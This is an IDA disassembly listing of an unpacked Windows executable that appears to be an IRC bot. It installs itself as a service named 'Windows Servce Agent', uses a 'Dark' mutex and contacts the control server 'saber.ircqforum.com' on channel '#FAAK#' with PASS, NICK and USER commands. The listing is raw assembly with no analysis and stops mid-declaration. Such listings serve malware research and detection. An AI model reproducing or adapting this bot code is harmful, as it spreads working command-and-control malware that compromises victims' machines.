; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 49F9068010F836838F39074A445BE44E ; File Name : u:\work\49f9068010f836838f39074a445be44e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServceA ; "Windows Servce Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF58 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAFC8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAF08 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF80 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEEC call dword_4CB03C call sub_40B2BF call dword_4CAEFC call dword_4CAEFC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D158 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2660AB7h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2660000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2650BA1h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D150 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACE0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACE4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB050 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2680230h push eax call near ptr 268016Dh nop cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAF14 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2660AB7h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2680000h push eax call near ptr 2660000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293F4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293EC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2670E4Ch nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 2670D30h nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C call near ptr 2670914h nop cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2670000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 2670D30h nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D158 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 267084Ch push eax push esi push 100000h nop call near ptr 26702E7h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293E0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2650BA1h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2670000h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAEFC push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB2C4, 2 jle short loc_401562 mov eax, dword_4DB2C8 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 268016Dh push esi nop call near ptr 26508EFh mov eax, dword_4DB2C8 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2670000h mov eax, dword_4DB2C8 push dword ptr [eax+8] nop call near ptr 2670230h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB074, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_4293C4 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D160 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_4293A0 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_401622 call near ptr 2670914h nop push eax lea eax, [ebp-0A0h] push offset unk_429360 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429334 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz short loc_40169A call near ptr 2670914h nop push eax lea eax, [ebp-0A0h] push offset dword_429300 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC mov dword_4CAE58, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD6C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CADAC push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE40, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACE8 mov dword_4CAE54, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE54, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2670000h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CACEC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACEC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE3C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAEFC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAFA4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEF8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CB024 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEEC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB03C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2670000h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293FC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB03C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE50, bl jz short loc_40199A push offset byte_4CAE50 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB03C push 1388h nop call near ptr 2670000h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAFBC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call near ptr 2670000h nop jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr 